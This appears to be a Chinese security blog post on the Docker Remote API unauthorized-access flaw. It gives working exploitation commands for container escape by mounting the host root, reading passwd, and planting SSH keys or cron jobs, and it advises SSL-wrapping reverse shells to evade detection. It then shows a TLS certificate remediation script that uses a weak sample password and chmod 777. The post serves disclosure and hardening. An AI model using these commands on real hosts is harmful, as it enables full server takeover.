漏洞描述:
Docker Remote API 是一个取代远程命令行界面的REST API,其默认绑定2375端口,如管理员对其配置不当可导致未授权访问漏洞。攻击者利用docker client或者http直接请求就可以访问这个API,可导致敏感信息泄露,甚至可进一步利用Docker自身特性,借助容器挂在宿主机进行逃逸,最终完全控制宿主服务器。
漏洞利用:
访问http://目标ip:port/version如果能够访问成功,则证明存在docker api未授权访问漏洞
访问http://目标ip:port/info查看其返回的docker信息
使用docker直接未授权获取目标正在运行docker镜像文件,命令:
docker -H tcp://目标机ip:2375 images
以bin/bash的方式进入容器,/:/mnt:意思是将目标机的根目录挂载到该容器的/mnt目录下,所以我们要查询目标机的文件的话,最前面应该跟个/mnt的目录, #如要查询目标机的passwd,则目录为:/mnt/etc/passwd。一般类似ubuntu或redis这种镜像都会提供bash终端,所以可用此类镜像来挂载宿主机磁盘,将宿主机的根目录挂载到容器中的/mnt目录,故命令:
docker -H tcp://目标机ip:2375 run -it -v /:/mnt 镜像id /bin/bash
至此攻击者已完成Docker API未授权漏洞的利用,并完成逃逸至宿主机的结果,可在宿主机上目录进行相关恶意操作。
后续思路多为写入恶意计划任务,原生bash反弹shell动静极大,极易被主机安全防护系统和态势感知检测,即使要反弹的话也尽量加一层ssl加密再进行通信。
如果情况有变,如:
- 通信不出网如何进行逃逸利用
可尝试写入sshkey,由于挂载的是/mnt目录,所以写入宿主机的目录就是/mnt/root/.ssh/
- 目标中不存在可利用镜像(目标出网)
可手动在docker hub中拉取一个镜像然后再进行操作
如拉取nginx用于操作:docker -H tcp://目标IP:2375 pull nginx:1.21.5
- 目标中不存在可利用镜像(目标不出网)
本地打包镜像:
本地起镜像并docker ps确认其运行,再:
docker save -o my_evil_image.tar 容器名称
然后再将my_evil_image.tar挂载到目标机器上面,执行
docker -H tcp://目标IP:2375 load -i my_evil_image.tar操作将其tar文件加载为一个 Docker 镜像,后续利用步骤同上
- 无法获取到有效的交互式bash shell
不强行要求bin/bash,尝试去获取/bin/sh
修复建议:
1. 设置ACL,只允许可信IP连接Docker Remote API
2. 开启TLS,使用生成的证书进行Docker API认证
解决方案: 开始TLS
利用脚本自动生成证书,脚本如下:
#!/bin/bash
#
# -------------------------------------------------------------
# 自动创建 Docker TLS 证书
# -------------------------------------------------------------
# 以下是配置信息
# --[BEGIN]------------------------------
IP="10.10.1.1"
PASSWORD="123456"
COUNTRY="CN"
STATE="BEIJING"
CITY="BEIJING"
ORGANIZATION="test"
ORGANIZATIONAL_UNIT="Dev"
COMMON_NAME="$IP"
EMAIL="test"
# --[END]--
# Generate CA key
openssl genrsa -aes256 -passout "pass:$PASSWORD" -out "ca-key.pem" 4096
# Generate CA
openssl req -new -x509 -days 365 -key "ca-key.pem" -sha256 -out "ca.pem" -passin "pass:$PASSWORD" -subj "/C=$COUNTRY/ST=$STATE/L=$CITY/O=$ORGANIZATION/OU=$ORGANIZATIONAL_UNIT/CN=$COMMON_NAME/emailAddress=$EMAIL"
# Generate Server key
openssl genrsa -out "server-key.pem" 4096
# Generate Server Certs.
openssl req -subj "/CN=$COMMON_NAME" -sha256 -new -key "server-key.pem" -out server.csr
echo "subjectAltName = IP:$IP,IP:127.0.0.1" >> extfile.cnf
echo "extendedKeyUsage = serverAuth" >> extfile.cnf
openssl x509 -req -days 365 -sha256 -in server.csr -passin "pass:$PASSWORD" -CA "ca.pem" -CAkey "ca-key.pem" -CAcreateserial -out "server-cert.pem" -extfile extfile.cnf
# Generate Client Certs.
rm -f extfile.cnf
openssl genrsa -out "key.pem" 4096
openssl req -subj '/CN=client' -new -key "key.pem" -out client.csr
echo extendedKeyUsage = clientAuth >> extfile.cnf
openssl x509 -req -days 365 -sha256 -in client.csr -passin "pass:$PASSWORD" -CA "ca.pem" -CAkey "ca-key.pem" -CAcreateserial -out "cert.pem" -extfile extfile.cnf
rm -vf client.csr server.csr
chmod -v 0400 "ca-key.pem" "key.pem" "server-key.pem"
chmod -v 0444 "ca.pem" "server-cert.pem" "cert.pem"
# 打包客户端证书
mkdir -p "tls-client-certs"
cp -f "ca.pem" "cert.pem" "key.pem" "tls-client-certs/"
cd "tls-client-certs"
tar zcf "tls-client-certs.tar.gz" *
mv "tls-client-certs.tar.gz" ../
cd ..
rm -rf "tls-client-certs"
# 拷贝服务端证书
mkdir -p /etc/docker/certs.d
cp "ca.pem" "server-cert.pem" "server-key.pem" /etc/docker/certs.d/
命名为auto_tls.sh
授权访问 chmod 777 auto-tls.sh
执行auto_tls.sh,
服务端证书生成在:/etc/docker/certs.d
客户端证书自动打包在本地目录: tls-client-certs.tar.gz
添加到docker.service中
vi /usr/lib/systemd/system/docker.service
在ExecStart中添加
--tlsverify --tlscacert=/etc/docker/certs.d/ca.pem --tlscert=/etc/docker/certs.d/server-cert.pem --tlskey=/etc/docker/certs.d/server-key.pem
然后重启服务
systemctl daemon-reload
service docker restart
参考文档:
Docker远程接口未授权访问漏洞解决方案之 Docker Remote API TLS 认证_docker远程接口未授权访问漏洞怎么解决_docker remote api未授权访问漏洞(tys-2017-0006)怎么解决-****博客